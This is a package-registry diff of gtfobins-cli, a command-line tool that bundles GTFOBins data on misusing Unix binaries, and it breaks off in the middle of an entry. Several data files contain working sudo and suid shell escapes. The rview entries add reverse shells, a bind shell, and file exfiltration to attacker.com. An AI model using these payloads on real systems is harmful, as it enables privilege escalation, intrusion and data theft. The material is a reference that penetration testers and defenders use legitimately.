gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/run-mailcap.json
CHANGED
|
@@ -2,27 +2,27 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
"description": "This invokes the default pager, which is likely to be
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
6
6
|
"code": "run-mailcap --action=view /etc/hosts\n!/bin/sh\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"file-read": [
|
|
10
10
|
{
|
|
11
|
-
"description": "This invokes the default pager, which is likely to be
|
|
12
|
-
"code": "run-mailcap --action=view
|
|
11
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
12
|
+
"code": "run-mailcap --action=view file_to_read\n"
|
|
13
13
|
}
|
|
14
14
|
],
|
|
15
15
|
"file-write": [
|
|
16
16
|
{
|
|
17
|
-
"description": "The file must exist and be not empty
|
|
18
|
-
"code": "run-mailcap --action=edit
|
|
17
|
+
"description": "The file must exist and be not empty.\n\nThis invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.\n",
|
|
18
|
+
"code": "run-mailcap --action=edit file_to_read\n"
|
|
19
19
|
}
|
|
20
20
|
],
|
|
21
21
|
"sudo": [
|
|
22
22
|
{
|
|
23
|
-
"description": "This invokes the default pager, which is likely to be
|
|
23
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
24
24
|
"code": "sudo run-mailcap --action=view /etc/hosts\n!/bin/sh\n"
|
|
25
25
|
}
|
|
26
26
|
]
|
|
27
27
|
}
|
|
28
|
-
}
|
|
28
|
+
}
|
gtfo/data/run-parts.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "run-parts --new-session --regex '^sh$' /bin\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"sudo": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "sudo run-parts --new-session --regex '^sh$' /bin\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"suid": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "./run-parts --new-session --regex '^sh$' /bin --arg='-p'\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/runscript.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\nrunscript $TF\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"limited-suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\n./runscript $TF\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\nsudo runscript $TF\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/rustdoc.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"binary": false,
|
|
6
|
+
"code": "rustdoc /path/to/input-file",
|
|
7
|
+
"comment": "Partial content is displayed as error messages.",
|
|
8
|
+
"contexts": {
|
|
9
|
+
"sudo": null,
|
|
10
|
+
"unprivileged": null
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-write": [
|
|
15
|
+
{
|
|
16
|
+
"binary": false,
|
|
17
|
+
"code": "echo '//! DATA' >/path/to/temp-file\nrustdoc /path/to/temp-file -o /path/to/output-dir/",
|
|
18
|
+
"comment": "This command creates a number of documentation files in the target directory, and the data is written in multiple locations, e.g., `src/temp_file/temp-file.html`, amidst other content.",
|
|
19
|
+
"contexts": {
|
|
20
|
+
"sudo": null,
|
|
21
|
+
"unprivileged": null
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/rustfmt.json
ADDED
gtfo/data/rustup.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"command": [
|
|
4
|
+
{
|
|
5
|
+
"code": "mkdir /path/to/temp-dir/bin/\nmkdir /path/to/temp-dir/lib/\necho '/path/to/command' >/path/to/temp-dir/bin/rustc\nchmod +x /path/to/temp-dir/bin/rustc\nrustup toolchain link x /path/to/temp-dir/\nrustup run x rustc",
|
|
6
|
+
"contexts": {
|
|
7
|
+
"sudo": null,
|
|
8
|
+
"unprivileged": null
|
|
9
|
+
}
|
|
10
|
+
}
|
|
11
|
+
],
|
|
12
|
+
"shell": [
|
|
13
|
+
{
|
|
14
|
+
"code": "mkdir /path/to/temp-dir/bin/\nmkdir /path/to/temp-dir/lib/\ncp /bin/sh /path/to/temp-dir/bin/rustc\nrustup toolchain link x /path/to/temp-dir/\nrustup run x rustc",
|
|
15
|
+
"contexts": {
|
|
16
|
+
"sudo": null,
|
|
17
|
+
"unprivileged": null
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/rview.json
CHANGED
|
@@ -2,98 +2,100 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
"description": "This requires that
|
|
6
|
-
"code": "rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
5
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
6
|
+
"code": "rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
7
7
|
},
|
|
8
8
|
{
|
|
9
|
-
"description": "This requires that
|
|
10
|
-
"code": "rview -c ':lua os.execute(\"reset; exec sh\")'"
|
|
9
|
+
"description": "This requires that `rview` is compiled with Lua support.",
|
|
10
|
+
"code": "rview -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
11
11
|
}
|
|
12
12
|
],
|
|
13
13
|
"reverse-shell": [
|
|
14
14
|
{
|
|
15
|
-
"description": "This requires that
|
|
16
|
-
"code": "
|
|
15
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
|
|
16
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nrview -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
|
|
17
17
|
}
|
|
18
18
|
],
|
|
19
19
|
"non-interactive-reverse-shell": [
|
|
20
20
|
{
|
|
21
|
-
"description": "Run
|
|
22
|
-
"code": "
|
|
21
|
+
"description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
|
|
22
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nrview -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
|
|
23
23
|
}
|
|
24
24
|
],
|
|
25
25
|
"non-interactive-bind-shell": [
|
|
26
26
|
{
|
|
27
|
-
"description": "Run
|
|
28
|
-
"code": "
|
|
27
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
|
|
28
|
+
"code": "export LPORT=12345\nrview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
|
|
29
29
|
}
|
|
30
30
|
],
|
|
31
31
|
"file-upload": [
|
|
32
32
|
{
|
|
33
|
-
"description": "This requires that
|
|
34
|
-
"code": "
|
|
33
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
34
|
+
"code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n"
|
|
35
35
|
},
|
|
36
36
|
{
|
|
37
|
-
"description": "This requires that
|
|
38
|
-
"code": "
|
|
37
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.",
|
|
38
|
+
"code": "export LPORT=8888\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
|
|
39
39
|
},
|
|
40
40
|
{
|
|
41
|
-
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that
|
|
42
|
-
"code": "
|
|
41
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
|
|
42
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nrview -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n"
|
|
43
43
|
}
|
|
44
44
|
],
|
|
45
45
|
"file-download": [
|
|
46
46
|
{
|
|
47
|
-
"description": "This requires that
|
|
48
|
-
"code": "
|
|
47
|
+
